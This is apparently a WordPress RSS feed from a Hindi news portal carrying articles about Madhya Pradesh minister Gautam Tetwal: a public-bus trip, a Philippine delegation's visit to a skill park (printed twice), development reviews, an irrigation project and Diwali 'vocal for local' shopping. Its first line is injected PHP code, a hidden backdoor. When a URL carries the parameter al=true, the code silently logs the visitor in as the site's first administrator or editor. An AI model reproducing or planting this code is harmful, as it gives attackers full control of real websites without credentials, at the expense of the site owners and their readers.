// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Minister Tetwal – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 14 May 2026 16:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मंत्री टेटवाल सार्वजनिक बस से यात्रा कर अपने कार्य क्षेत्र पर पहुँचे https://pratyushaashakinayikiran.com/?p=219541 Thu, 14 May 2026 16:25:00 +0000 https://pratyushaashakinayikiran.com/?p=219541 भोपाल 

प्रधानमंत्री  नरेन्द्र मोदी के ‘राष्ट्र प्रथम’ के आह्वान और ईंधन बचत, पर्यावरण संरक्षण तथा सार्वजनिक परिवहन को प्रोत्साहित करने के संदेश से प्रेरित होकर कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार)  गौतम टेटवाल ने गुरुवार को सारंगपुर से पचोर तक सार्वजनिक परिवहन बस सेवा से यात्रा कर अपने कार्य क्षेत्र पर पहुँचे। मंत्री  टेटवाल ने कारकेड और औपचारिक प्रोटोकॉल से अलग आम नागरिकों के बीच बस में यात्रा कर पर्यावरण संरक्षण और राष्ट्रहित का संदेश दिया।

पेट्रोल पंप दुर्घटना से प्रभावित परिवारों से मिले

मंत्री  टेटवाल ने विगत दिनों पचोर में पेट्रोल पंप पर हुई दुःखद घटना में प्रभावित परिवारों से भेंट की। उन्होंने दिवंगतों को श्रद्धांजलि अर्पित करते हुए शोक संतप्त परिजनों से चर्चा की और उनकी समस्याओं को संवेदनशीलता के साथ सुना। मंत्री  टेटवाल ने परिवारों को हरसंभव सहयोग का भरोसा दिलाया।

मंत्री  टेटवाल ने पचोर नगर में नागरिकों से जनसंपर्क कर विभिन्न स्थानीय समस्याओं एवं विकास कार्यों से जुड़े विषयों पर भी चर्चा की। उन्होंने संबंधित समस्याओं के निराकरण के लिए आवश्यक निर्देश दिये।

मंत्री  टेटवाल ने पचोर से सारंगपुर तक बस से यात्रा की। उन्होंने कहा कि सार्वजनिक परिवहन अपनाना केवल यात्रा का माध्यम नहीं, बल्कि राष्ट्रहित से जुड़ा एक जिम्मेदार प्रयास है। इससे ईंधन की बचत, प्रदूषण में कमी और यातायात व्यवस्था को बेहतर बनाने में मदद मिलती है। मंत्री  टेटवाल ने नागरिकों से भी अधिक से अधिक सार्वजनिक परिवहन के उपयोग की अपील करते हुए कहा कि छोटे-छोटे सामूहिक प्रयासों से पर्यावरण संरक्षण और देशहित के बड़े लक्ष्य हासिल किए जा सकते हैं। 

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वैश्विक पहचान बना रहा संत शिरोमणि रविदास ग्लोबल स्किल पार्क : मंत्री टेटवाल https://pratyushaashakinayikiran.com/?p=213664 Tue, 21 Apr 2026 16:10:00 +0000 https://pratyushaashakinayikiran.com/?p=213664 भोपाल. 
संत शिरोमणि रविदास ग्लोबल स्किल पार्क में मध्यप्रदेश के कौशल विकास मॉडल की व्यापक और प्रभावी प्रस्तुति उस समय देखने को मिली, जब फिलीपींस की तकनीकी शिक्षा एवं कौशल विकास प्राधिकरण के 24 सदस्यीय उच्च स्तरीय प्रतिनिधिमंडल ने संस्थान का विस्तृत भ्रमण कर इसकी कार्यप्रणाली, प्रशिक्षण व्यवस्था और उद्योग-आधारित दृष्टिकोण को गहराई से समझा। यह दौरा प्रदेश में विकसित हो रहे कौशल तंत्र की वैश्विक स्वीकार्यता और बढ़ती विश्वसनीयता का स्पष्ट संकेत बना।

कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार) गौतम टेटवाल ने कहा कि प्रदेश सरकार का लक्ष्य युवाओं को ऐसी आधुनिक और रोजगारोन्मुखी कौशल से जोड़ना है, जिससे वे सीधे रोजगार प्राप्त कर सकें। उन्होंने बताया कि संत शिरोमणि रविदास ग्लोबल स्किल पार्क देश का पहला पूर्णतः संचालित बहु-कौशल प्रशिक्षण केंद्र है, जो अंतर्राष्ट्रीय मानकों के अनुरूप प्रशिक्षण प्रदान कर रहा है। मंत्री टेटवाल एवं प्रतिनिधि मण्डल के बीच स्मृति चिन्हों का आदान-प्रदान हुआ।

मंत्री गौतम टेटवाल ने कहा कि यह संस्थान आज एशिया स्तर पर अपनी विशिष्ट पहचान बना रहा है और विभिन्न देशों के प्रतिनिधि यहाँ आकर इसकी कार्यप्रणाली को समझ रहे हैं तथा अपने देशों में इस प्रकार के संस्थान स्थापित करने की दिशा में कार्य कर रहे हैं। उन्होंने बताया कि यहाँ प्रशिक्षित युवा देश और विदेश में रोजगार प्राप्त कर रहे हैं, जो इस मॉडल की प्रभावशीलता को दर्शाता है। उन्होंने यह भी बताया कि वर्तमान में 1200 क्षमता वाले छात्रावास की सुविधा उपलब्ध है तथा बढ़ती मांग को देखते हुए समान क्षमता के नए छात्रावास का विस्तार किया जा रहा है।

कार्यक्रम की शुरुआत संत शिरोमणि रविदास जी की प्रतिमा पर पुष्प अर्पित करने से हुई, जिसके बाद प्रतिनिधिमण्डल एवं संस्थान के कोर्स हेड एवं प्रिंसिपल हेड द्वारा एक-दूसरे को पद और भूमिका का परिचय दिया गया। सीईओ गिरीश शर्मा द्वारा संस्थान की उपलब्धियों और संरचना के संबंध में जानकारी दी गयी। प्रतिनिधि मण्डल को ऑडियो-विजुअल के माध्यम से संस्थान की विकास यात्रा और उपलब्धियों से अवगत कराया गया। प्रतिनिधिमण्डल ने मुख्य परिसर एवं सिटी परिसर की विभिन्न अत्याधुनिक प्रयोगशालाओं, ऑडिटोरियम, मीडिया कक्ष, पुस्तकालय और जीवन कौशल क्लब का भ्रमण किया गया। प्रतिनिधियों ने लाइव प्रदर्शन देखे और विद्यार्थियों से संवाद करते हुए प्रशिक्षण की व्यावहारिकता एवं गुणवत्ता की सराहना की।

इस दौरान करियर मार्गदर्शन प्रकोष्ठ का शुभारंभ किया गया। साथ ही लीडरशिप मास्टर क्लास में उत्कृष्ट प्रदर्शन करने वाले विद्यार्थियों को प्रमाणपत्र एवं प्रोत्साहन वाउचर प्रदान कर सम्मानित किया गया। इसी क्रम में अंकित प्रजापति को इंडिया स्किल्स प्रतियोगिता 2025-26 में उत्कृष्ट प्रदर्शन के लिए विशेष रूप से सम्मानित किया गया। प्रतिनिधिमंडल ने सिटी परिसर में प्रिसिजन इंजीनियरिंग से संबंधित सीएनसी एवं पारंपरिक प्रयोगशालाओं का गहन अवलोकन किया। हब एवं स्पोक मॉडल के अंतर्गत विभिन्न औद्योगिक प्रशिक्षण संस्थानों द्वारा प्रस्तुति दी गई, जिसमें विकेन्द्रीकृत प्रशिक्षण प्रणाली को स्थानीय उद्योगों की आवश्यकताओं के अनुरूप संचालित किए जाने की जानकारी साझा की गई।

संवाद सत्र में प्रशिक्षण प्रक्रियाओं, पाठ्यक्रम संरचना, उद्योग सहभागिता और प्लेसमेंट व्यवस्था पर विस्तार से चर्चा हुई। संस्थान के मुख्य कार्यपालन अधिकारी डॉ. गिरीश शर्मा ने आगामी वैकल्पिक पाठ्यक्रमों की जानकारी साझा की, वहीं प्रतिनिधिमंडल ने भी अपने क्वालिफिकेशन फ्रेमवर्क को प्रस्तुत किया, जिससे दोनों पक्षों के बीच ज्ञान और श्रेष्ठ प्रथाओं का आदान-प्रदान हुआ। इस अवसर पर उन्नत नेटवर्किंग एवं प्रणाली प्रशासन पाठ्यक्रम के अंतर्गत सिस्को नेटवर्किंग अकादमी का शुभारंभ किया गया, जो वैश्विक स्तर की प्रशिक्षण सुविधाओं को सुदृढ़ करने की दिशा में महत्वपूर्ण पहल है।

कुशाभाऊ ठाकरे अंतर्राष्ट्रीय सभागृह में आयोजित दोपहर भोज के दौरान प्रतिनिधिमंडल और अधिकारियों के बीच सार्थक संवाद हुआ। कार्यक्रम के अंत में प्रश्नोत्तर सत्र आयोजित किया गया, जिसमें प्रतिनिधिमंडल ने संस्थान की कार्यप्रणाली को विस्तार से समझा और विशेष रुचि दिखाई।

कार्यक्रम के अंत में प्रतिनिधिमंडल द्वारा वृक्षारोपण किया गया, जो सहयोग और सतत विकास के प्रति प्रतिबद्धता का प्रतीक है। इस अवसर पर तकनीकी शिक्षा, कौशल विकास एवं रोजगार विभाग के प्रमुख सचिव मनीष सिंह सहित अन्य अधिकारी उपस्थित रहे। प्रतिनिधिमंडल में तकनीकी शिक्षा एवं कौशल विकास प्राधिकरण के निदेशक गिल्बर्ट एम. कास्त्रो, स्टीफन आई. सीज़र, एशियन विकास बैंक की शिक्षा क्षेत्र की प्रधान परियोजना अधिकारी श्रीमती पूनम शर्मा भाम्बरी तथा आईपीई ग्लोबल के सदस्य सहित अन्य प्रतिनिधि शामिल रहे।

 

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वैश्विक पहचान बना रहा संत शिरोमणि रविदास ग्लोबल स्किल पार्क : मंत्री टेटवाल https://pratyushaashakinayikiran.com/?p=213666 Tue, 21 Apr 2026 16:10:00 +0000 https://pratyushaashakinayikiran.com/?p=213666 भोपाल. 
संत शिरोमणि रविदास ग्लोबल स्किल पार्क में मध्यप्रदेश के कौशल विकास मॉडल की व्यापक और प्रभावी प्रस्तुति उस समय देखने को मिली, जब फिलीपींस की तकनीकी शिक्षा एवं कौशल विकास प्राधिकरण के 24 सदस्यीय उच्च स्तरीय प्रतिनिधिमंडल ने संस्थान का विस्तृत भ्रमण कर इसकी कार्यप्रणाली, प्रशिक्षण व्यवस्था और उद्योग-आधारित दृष्टिकोण को गहराई से समझा। यह दौरा प्रदेश में विकसित हो रहे कौशल तंत्र की वैश्विक स्वीकार्यता और बढ़ती विश्वसनीयता का स्पष्ट संकेत बना।

कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार) गौतम टेटवाल ने कहा कि प्रदेश सरकार का लक्ष्य युवाओं को ऐसी आधुनिक और रोजगारोन्मुखी कौशल से जोड़ना है, जिससे वे सीधे रोजगार प्राप्त कर सकें। उन्होंने बताया कि संत शिरोमणि रविदास ग्लोबल स्किल पार्क देश का पहला पूर्णतः संचालित बहु-कौशल प्रशिक्षण केंद्र है, जो अंतर्राष्ट्रीय मानकों के अनुरूप प्रशिक्षण प्रदान कर रहा है। मंत्री टेटवाल एवं प्रतिनिधि मण्डल के बीच स्मृति चिन्हों का आदान-प्रदान हुआ।

मंत्री गौतम टेटवाल ने कहा कि यह संस्थान आज एशिया स्तर पर अपनी विशिष्ट पहचान बना रहा है और विभिन्न देशों के प्रतिनिधि यहाँ आकर इसकी कार्यप्रणाली को समझ रहे हैं तथा अपने देशों में इस प्रकार के संस्थान स्थापित करने की दिशा में कार्य कर रहे हैं। उन्होंने बताया कि यहाँ प्रशिक्षित युवा देश और विदेश में रोजगार प्राप्त कर रहे हैं, जो इस मॉडल की प्रभावशीलता को दर्शाता है। उन्होंने यह भी बताया कि वर्तमान में 1200 क्षमता वाले छात्रावास की सुविधा उपलब्ध है तथा बढ़ती मांग को देखते हुए समान क्षमता के नए छात्रावास का विस्तार किया जा रहा है।

कार्यक्रम की शुरुआत संत शिरोमणि रविदास जी की प्रतिमा पर पुष्प अर्पित करने से हुई, जिसके बाद प्रतिनिधिमण्डल एवं संस्थान के कोर्स हेड एवं प्रिंसिपल हेड द्वारा एक-दूसरे को पद और भूमिका का परिचय दिया गया। सीईओ गिरीश शर्मा द्वारा संस्थान की उपलब्धियों और संरचना के संबंध में जानकारी दी गयी। प्रतिनिधि मण्डल को ऑडियो-विजुअल के माध्यम से संस्थान की विकास यात्रा और उपलब्धियों से अवगत कराया गया। प्रतिनिधिमण्डल ने मुख्य परिसर एवं सिटी परिसर की विभिन्न अत्याधुनिक प्रयोगशालाओं, ऑडिटोरियम, मीडिया कक्ष, पुस्तकालय और जीवन कौशल क्लब का भ्रमण किया गया। प्रतिनिधियों ने लाइव प्रदर्शन देखे और विद्यार्थियों से संवाद करते हुए प्रशिक्षण की व्यावहारिकता एवं गुणवत्ता की सराहना की।

इस दौरान करियर मार्गदर्शन प्रकोष्ठ का शुभारंभ किया गया। साथ ही लीडरशिप मास्टर क्लास में उत्कृष्ट प्रदर्शन करने वाले विद्यार्थियों को प्रमाणपत्र एवं प्रोत्साहन वाउचर प्रदान कर सम्मानित किया गया। इसी क्रम में अंकित प्रजापति को इंडिया स्किल्स प्रतियोगिता 2025-26 में उत्कृष्ट प्रदर्शन के लिए विशेष रूप से सम्मानित किया गया। प्रतिनिधिमंडल ने सिटी परिसर में प्रिसिजन इंजीनियरिंग से संबंधित सीएनसी एवं पारंपरिक प्रयोगशालाओं का गहन अवलोकन किया। हब एवं स्पोक मॉडल के अंतर्गत विभिन्न औद्योगिक प्रशिक्षण संस्थानों द्वारा प्रस्तुति दी गई, जिसमें विकेन्द्रीकृत प्रशिक्षण प्रणाली को स्थानीय उद्योगों की आवश्यकताओं के अनुरूप संचालित किए जाने की जानकारी साझा की गई।

संवाद सत्र में प्रशिक्षण प्रक्रियाओं, पाठ्यक्रम संरचना, उद्योग सहभागिता और प्लेसमेंट व्यवस्था पर विस्तार से चर्चा हुई। संस्थान के मुख्य कार्यपालन अधिकारी डॉ. गिरीश शर्मा ने आगामी वैकल्पिक पाठ्यक्रमों की जानकारी साझा की, वहीं प्रतिनिधिमंडल ने भी अपने क्वालिफिकेशन फ्रेमवर्क को प्रस्तुत किया, जिससे दोनों पक्षों के बीच ज्ञान और श्रेष्ठ प्रथाओं का आदान-प्रदान हुआ। इस अवसर पर उन्नत नेटवर्किंग एवं प्रणाली प्रशासन पाठ्यक्रम के अंतर्गत सिस्को नेटवर्किंग अकादमी का शुभारंभ किया गया, जो वैश्विक स्तर की प्रशिक्षण सुविधाओं को सुदृढ़ करने की दिशा में महत्वपूर्ण पहल है।

कुशाभाऊ ठाकरे अंतर्राष्ट्रीय सभागृह में आयोजित दोपहर भोज के दौरान प्रतिनिधिमंडल और अधिकारियों के बीच सार्थक संवाद हुआ। कार्यक्रम के अंत में प्रश्नोत्तर सत्र आयोजित किया गया, जिसमें प्रतिनिधिमंडल ने संस्थान की कार्यप्रणाली को विस्तार से समझा और विशेष रुचि दिखाई।

कार्यक्रम के अंत में प्रतिनिधिमंडल द्वारा वृक्षारोपण किया गया, जो सहयोग और सतत विकास के प्रति प्रतिबद्धता का प्रतीक है। इस अवसर पर तकनीकी शिक्षा, कौशल विकास एवं रोजगार विभाग के प्रमुख सचिव मनीष सिंह सहित अन्य अधिकारी उपस्थित रहे। प्रतिनिधिमंडल में तकनीकी शिक्षा एवं कौशल विकास प्राधिकरण के निदेशक गिल्बर्ट एम. कास्त्रो, स्टीफन आई. सीज़र, एशियन विकास बैंक की शिक्षा क्षेत्र की प्रधान परियोजना अधिकारी श्रीमती पूनम शर्मा भाम्बरी तथा आईपीई ग्लोबल के सदस्य सहित अन्य प्रतिनिधि शामिल रहे।

 

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मंत्री टेटवाल ने सारंगपुर में विकास कार्यों की विस्तृत समीक्षा की https://pratyushaashakinayikiran.com/?p=207806 Wed, 25 Mar 2026 17:40:00 +0000 https://pratyushaashakinayikiran.com/?p=207806 भोपाल 

मंत्री  टेटवाल ने सारंगपुर में उच्चस्तरीय समीक्षा बैठक में विकास कार्यों, आधारभूत संरचना, जल संरक्षण और जनकल्याणकारी योजनाओं की प्रगति का समग्र मूल्यांकन किया। बैठक में विभिन्न विभागों की कार्यप्रणाली की विभागवार समीक्षा करते हुए प्रशासनिक दक्षता, समयबद्धता और गुणवत्ता को केंद्र में रखने के निर्देश दिए गए।

मंत्री  टेटवाल ने स्पष्ट कहा कि विकास कार्य केवल स्वीकृतियों तक सीमित न रहें, बल्कि धरातल पर परिणाम दिखाई दें। सभी निर्माण कार्य निर्धारित समय-सीमा में पूर्ण हों, पूर्ण परियोजनाओं का त्वरित हस्तांतरण हो और उनका प्रभावी उपयोग सुनिश्चित किया जाए। उन्होंने दोहराया कि लापरवाही या अनावश्यक विलंब की स्थिति में जवाबदेही तय की जाएगी।

जल संरक्षण को दी रणनीतिक दिशा

जल गंगा संवर्धन अभियान के अंतर्गत संचालित जल संरचनात्मक कार्यों की समीक्षा करते हुए मंत्री  गौतम टेटवाल ने वर्षा जल संचयन, नाला उपचार और भू-जल संवर्धन से जुड़े कार्यों को प्राथमिकता से पूर्ण करने के निर्देश दिए। उन्होंने कहा कि जल संरक्षण को जनांदोलन का स्वरूप देना आवश्यक है, जिससे दीर्घकालीन जल सुरक्षा सुनिश्चित हो सके। नदियों के पुनर्जीवन और श्रमदान आधारित पहलों में व्यापक जनसहभागिता पर बल दिया गया।

निर्माण कार्यों में गुणवत्ता और अनुशासन

पेयजल, शिक्षा एवं अन्य आधारभूत परियोजनाओं की प्रगति की समीक्षा करते हुए मंत्री  टेटवाल ने लंबित कार्यों को शीघ्र पूर्ण करने के निर्देश दिए। उन्होंने स्पष्ट किया कि अधूरे या विलंबित कार्य जनता के विश्वास को प्रभावित करते हैं, इसलिए गुणवत्ता और समयबद्धता दोनों पर समान रूप से ध्यान दिया जाए। आवश्यकता होने पर संबंधित एजेंसियों के विरुद्ध नियमानुसार कार्यवाही सुनिश्चित करने को कहा गया।

कृषि और पर्यावरणीय संतुलन पर विशेष फोकस

प्राकृतिक खेती को बढ़ावा देने, किसानों को प्रशिक्षण उपलब्ध कराने और पर्यावरण अनुकूल कृषि पद्धतियों के विस्तार पर जोर दिया गया। नरवाई जलाने पर रोक के लिए प्रभावी जागरूकता अभियान संचालित करने और निगरानी तंत्र को सुदृढ़ करने के निर्देश दिए गए। ‘हरित सारंगपुर’ के लक्ष्य के अंतर्गत व्यापक पौधारोपण को सामाजिक दायित्व के रूप में अपनाने का आह्वान किया गया।

जनसेवाओं की निर्बाध उपलब्धता सुनिश्चित करने के निर्देश

बैठक में विद्युत, स्वास्थ्य और पेयजल सेवाओं की समीक्षा करते हुए आवश्यक संस्थानों में निर्बाध आपूर्ति सुनिश्चित करने पर बल दिया गया। स्वास्थ्य सुविधाओं को सुदृढ़ करने तथा टीकाकरण जैसे अभियानों को गति देने के निर्देश दिए गए। ग्रीष्मकालीन परिस्थितियों को ध्यान में रखते हुए पेयजल स्रोतों की मरम्मत, संरक्षण और वैकल्पिक व्यवस्थाओं की अग्रिम तैयारी सुनिश्चित करने को कहा गया। साथ ही आगामी सामूहिक विवाह एवं निकाह कार्यक्रम की तैयारियों की समीक्षा कर सभी व्यवस्थाएं गरिमापूर्ण और सुव्यवस्थित रूप से सुनिश्चित करने के निर्देश दिए।

मंत्री  गौतम टेटवाल ने कहा कि शासन की योजनाओं का लाभ अंतिम व्यक्ति तक पहुंचाना प्रशासन की मूल प्रतिबद्धता है। उन्होंने अधिकारियों से अपेक्षा की कि वे समन्वित, पारदर्शी और परिणाम आधारित कार्यसंस्कृति के माध्यम से विकास की गति को स्थायी और प्रभावी स्वरूप दें। 

 

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सम्राट विक्रमादित्य की गाथा केवल इतिहास नहीं,बल्कि प्रेरणा का स्रोत है: मंत्री टेटवाल सूर्योपासना कार्यक्रम में हुए शामिल https://pratyushaashakinayikiran.com/?p=206124 Thu, 19 Mar 2026 14:45:00 +0000 https://pratyushaashakinayikiran.com/?p=206124 भोपाल 

गुड़ी पड़वा एवं वर्ष प्रतिपदा विक्रम संवत 2083 के शुभ अवसर पर प्रदेश में विक्रमोत्सव का आयोजन किया गया। इसी क्रम में कौशल विकास एवं रोजगार तथा उज्जैन के प्रभारी मंत्री  गौतम टेटवाल ने उज्जैन के पावन रामघाट पर विक्रमोत्सव 2026 के अंतर्गत सृष्टि आरंभ दिवस के शुभ अवसर पर कोटि सूर्योपासना कार्यक्रम में सहभागिता की। साथ ही माँ शिप्रा का पूजन-अर्चन कर प्रदेश में सुख, शांति, समृद्धि कि कामना की।

विक्रम संवत केवल एक काल गणना नहीं, बल्कि भारत की समृद्ध सभ्यता और सांस्कृतिक चेतना का जीवंत प्रमाण

मंत्री  टेटवाल ने कहा कि यह पावन अवसर हमें हमारी महान परंपरा और गौरवशाली इतिहास की याद दिलाता है। चैत्र नववर्ष (विक्रम संवत) का प्रारंभ उज्जैन के महान सम्राट  विक्रमादित्य महाराज द्वारा किया गया था, जो भारतीय संस्कृति, ज्ञान और स्वाभिमान का प्रतीक है। विक्रम संवत केवल एक काल गणना नहीं, बल्कि भारत की समृद्ध सभ्यता, वैज्ञानिक दृष्टिकोण और सांस्कृतिक चेतना का जीवंत प्रमाण है। उज्जैन नगरी उसी गौरव को आगे बढ़ाते हुए निरंतर विकास की ओर अग्रसर है, जो हम सभी के लिए गर्व का विषय है।

सम्राट विक्रम की गाथा केवल इतिहास नहीं, बल्कि प्रेरणा का स्त्रोत भी है

मंत्री  टेटवाल ने कहा कि विक्रम संवत, आज भी हमारे पर्व-त्योहारों और धार्मिक अनुष्ठानों का आधार है, यह केवल एक कैलेंडर नहीं, बल्कि भारतीय अस्मिता और स्वाभिमान का जीवंत प्रतीक है। इसकी स्थापना लगभग 57 ईसा पूर्व महान सम्राट विक्रमादित्य द्वारा की गई थी। सम्राट विक्रमादित्य का नाम आते ही हमारे मन में वीरता, पराक्रम और अद्भुत नेतृत्व की छवि उभरती है। उनका शासनकाल भारतीय इतिहास का स्वर्णिम युग माना जाता है। उनकी गाथा केवल इतिहास नहीं बल्कि हम सभी के लिए प्रेरणा का स्रोत है।

महाकाल लोक हमारी विरासत और आधुनिक विकास का अद्भुत संगम

मंत्री  टेटवाल ने कहा कि मध्यप्रदेश की पावन धरती, विशेष रूप से उज्जैन, सम्राट विक्रमादित्य की कर्मभूमि रही है। उज्जैन को उस समय भारत की सांस्कृतिक और खगोलीय राजधानी माना जाता था। आज भी यह नगरी हमारे लिए आस्था, इतिहास और गौरव का केंद्र है। उज्जैन विश्व के प्रमुख आध्यात्मिक और सांस्कृतिक केंद्रों में से एक है। यहां स्थित  महाकालेश्वर मंदिर और विकसित होता हुआ महाकाल लोक न केवल आस्था का केंद्र है, बल्कि हमारी विरासत और आधुनिक विकास का अद्भुत संगम भी है।

इस अवसर पर सांसद  अनिल फिरोजिया, विधायक  अनिल जैन कालुहेड़ा, महापौर  मुकेश टेटवाल, सभापति मती कलावती यादव सहित अन्य जनप्रतिनिधि, पदाधिकारी, कार्यकर्ता एवं प्रशासनिक अधिकारी तथा बड़ी संख्या में श्रद्धालुजन उपस्थित रहे।

 

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मंत्री टेटवाल ने मुख्यमंत्री का माना आभार https://pratyushaashakinayikiran.com/?p=193450 Tue, 13 Jan 2026 17:04:00 +0000 https://pratyushaashakinayikiran.com/?p=193450 सारंगपुर को मिली नई सौगात, मोहनपुरा डेम से जुड़े 26 गांव

भोपाल
राजगढ़ जिले की सारंगपुर विधानसभा में लगातार विकास कार्यों को गति मिल रही है। किसानों के हित को प्राथमिकता देते हुए प्रदेश सरकार ने मोहनपुरा सिंचाई परियोजना के विस्तारीकरण के तहत सारंगपुर क्षेत्र के 26 गांवों को योजना से जोड़ने का निर्णय लिया है। इस निर्णय से क्षेत्र के किसानों को सिंचाई परियोजना का प्रत्यक्ष और स्थायी लाभ मिलेगा।

11,040 हेक्टेयर कृषि भूमि को मिलेगी सिंचाई सुविधा

मंत्री श्री गौतम टेटवाल ने बताया कि सारंगपुर विधानसभा क्षेत्र अंतर्गत मोहनपुरा विस्तारीकरण सिंचाई परियोजना को राज्य सरकार द्वारा प्रशासनिक स्वीकृति प्रदान की गई है। इस परियोजना पर 396.21 करोड़ रुपए की लागत आएगी। परियोजना के माध्यम से सारंगपुर तहसील के 26 ग्रामों की 11,040 हेक्टेयर कृषि भूमि को सिंचाई सुविधा उपलब्ध होगी।

परियोजना से किसानों की आय में वृद्धि होगी
मंत्री श्री टेटवाल ने बताया कि इस परियोजना के तहत आधुनिक दाबयुक्त पाइप सिंचाई प्रणाली को अपनाया जाएगा, जिससे जल की बचत के साथ सिंचाई की दक्षता में उल्लेखनीय सुधार होगा। परियोजना से क्षेत्र के भू-जल स्तर में सुधार होगा, कृषि उत्पादन बढ़ेगा और किसानों की आय में भी वृद्धि होगी। इस योजना से लगभग 10,400 किसान परिवारों को प्रत्यक्ष लाभ मिलेगा।

मंत्री श्री टेटवाल ने मुख्यमंत्री का जताया आभार
मंत्री श्री गौतम टेटवाल ने कहा कि मुख्यमंत्री डॉ. मोहन यादव के नेतृत्व में प्रदेश सरकार लगातार जनहित के कार्य कर रही है। किसान कल्याण सरकार की सर्वोच्च प्राथमिकता है और यह सुनिश्चित किया जा रहा है कि योजनाओं का लाभ अंतिम व्यक्ति तक पहुंचे। मोहनपुरा सिंचाई परियोजना एक वृहद और दूरगामी लाभ देने वाली योजना है। मुख्यमंत्री डॉ. यादव ने सारंगपुर को नई सौगात देते हुए मोहनपुरा डेम की सिंचाई परियोजना से 26 गांवों को जोड़ने की स्वीकृति प्रदान की है। इसके लिए उन्होंने सारंगपुर की जनता की ओर से मुख्यमंत्री के प्रति आभार व्यक्त किया।

मोहनपुरा सिंचाई परियोजना से जुड़े 26 ग्राम
मोहनपुरा सिंचाई परियोजना के विस्तारीकरण के तहत सारंगपुर तहसील के लीमा चौहान, पान्दा, टूट्याहेड़ी, दराना, देवीपुर, भेंसवा माता, भवानीपुर, कलाली, अरण्या, लोटटया, घटटटया, रोजड़कलां, धमन्दा, गायन, पट्टी, इचीवाड़ा, शंकरनगर, अमलावता, पीपल्या पाल, पाडल्या माता, शेरपुरा, कमलसरा, किशनखेड़ी, सुल्तानिया, जोगीपुरा और छापरा ग्रामों को योजना से जोड़ा गया है।

 

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मंत्री टेटवाल ने स्थानीय कुम्हारों द्वारा बनाए गए दियों को खरीद कर वोकल फॉर लोकल का दिया संदेश https://pratyushaashakinayikiran.com/?p=186307 Sat, 18 Oct 2025 05:46:00 +0000 https://pratyushaashakinayikiran.com/?p=186307 मंत्री  टेटवाल ने स्थानीय कुम्हारों द्वारा बनाए गए दियों को खरीद कर वोकल फॉर लोकल का दिया संदेश

हर घर जले स्वदेशी दीप : मंत्री  टेटवाल

भोपाल

कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार)  गौतम टेटवाल ने राजगढ़ जिले के सारंगपुर में दीपावली के लिए स्थानीय बाजार से कुम्हारों द्वारा बनाए गए स्वदेशी दीयों और सजावटी सामग्री की खरीदारी की। इस अवसर पर उन्होंने प्रदेशवासियों से अपील की कि वे दीपावली पर अपने घर में स्वदेशी दीप जलाएं। मंत्री  टेटवाल ने कहा कि वोकल फॉर लोकल अभियान आत्मनिर्भर भारत की दिशा में जन-आंदोलन का रूप ले चुका है और यह हर भारतीय को प्रेरित करता है कि वह स्वदेशी वस्तुओं को अपनाए और स्थानीय उद्योगों को सशक्त बनाए।

मंत्री  टेटवाल ने कहा कि दीपावली हमारे खुशियों का पर्व है और इस अवसर पर स्थानीय व्यापारियों की भागीदारी अत्यंत महत्वपूर्ण है। स्थानीय दुकानदार सिर्फ व्यवसायी नहीं, बल्कि समाज का अभिन्न हिस्सा हैं। वे हर त्यौहार, हर संकट और हर खुशी में हमारे साथ खड़े रहते हैं। हमारी जिम्मेदारी है कि उनकी दीपावली को प्रकाशोत्सव में बदलें और हर घर में स्वदेशी की पहचान कायम करें।

मंत्री  टेटवाल ने कहा कि मुख्यमंत्री डॉ. मोहन यादव के मार्गदर्शन में स्वदेशी उत्पादों को बढ़ावा देने के लिए कई योजनाएं चलाई जा रही हैं, जिससे स्थानीय कारीगर और व्यापारी मजबूती से अपनी कला और व्यवसाय को आगे बढ़ा सकें। सारंगपुर जैसे नगरों में यह पहल वोकल फॉर लोकल के संदेश को और प्रभावी बनाएगी। हर घर को आत्मनिर्भर भारत की भावना को मजबूत करने के लिए आगे बढ़ने की भावना को मजबूत करेगी।उन्होंने कहा कि स्वदेशी दीयों, सजावटी सामग्री और उपहारों की खरीदी से न केवल स्थानीय व्यापारियों को प्रोत्साहन मिलेगा बल्कि यह देश की अर्थव्यवस्था को भी मजबूत करेगा। उन्होंने सभी से अपील की कि हर घर में स्वदेशी दीप जलाकर आत्मनिर्भर भारत की भावना को जीवंत करें और दीपावली के पर्व को खुशियों और समृद्धि से सजाएं। व्यापारियों ने मंत्री  टेटवाल के इस कदम का स्वागत किया।

 

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मंत्री टेटवाल ने राष्ट्रीय पुरस्कार प्राप्त प्रशिक्षकों को दी बधाई और शुभकामनाएं https://pratyushaashakinayikiran.com/?p=184317 Wed, 10 Sep 2025 06:16:00 +0000 https://pratyushaashakinayikiran.com/?p=184317 राष्ट्रीय पुरस्कार विजेता प्रशिक्षकों को मंत्री टेटवाल ने दी शुभकामनाएं

मंत्री टेटवाल का सम्मान, राष्ट्रीय पुरस्कार प्राप्त प्रशिक्षकों को दी बधाई

कौशल विकास के प्रशिक्षकों ने बढ़ाया मध्यप्रदेश का मान

भोपाल

कौशल विकास एवं रोजगार राज्य मंत्री (स्वतंत्र प्रभार) गौतम टेटवाल ने कहा कि राष्ट्रीय शिक्षक पुरस्कार 2025 से सम्मानित प्रशिक्षण अधिकारी प्रदेश के युवाओं के लिए प्रेरणा स्रोत हैं। राज्यमंत्री टेटवाल ने तीनों प्रशिक्षकों से मिलकर उन्हें बधाई और शुभकामनाएं दीं। राज्यमंत्री टेटवाल ने कहा कि यह उपलब्धि प्रशिक्षकों की प्रतिबद्धता, नवाचार और मेहनत का परिणाम है।

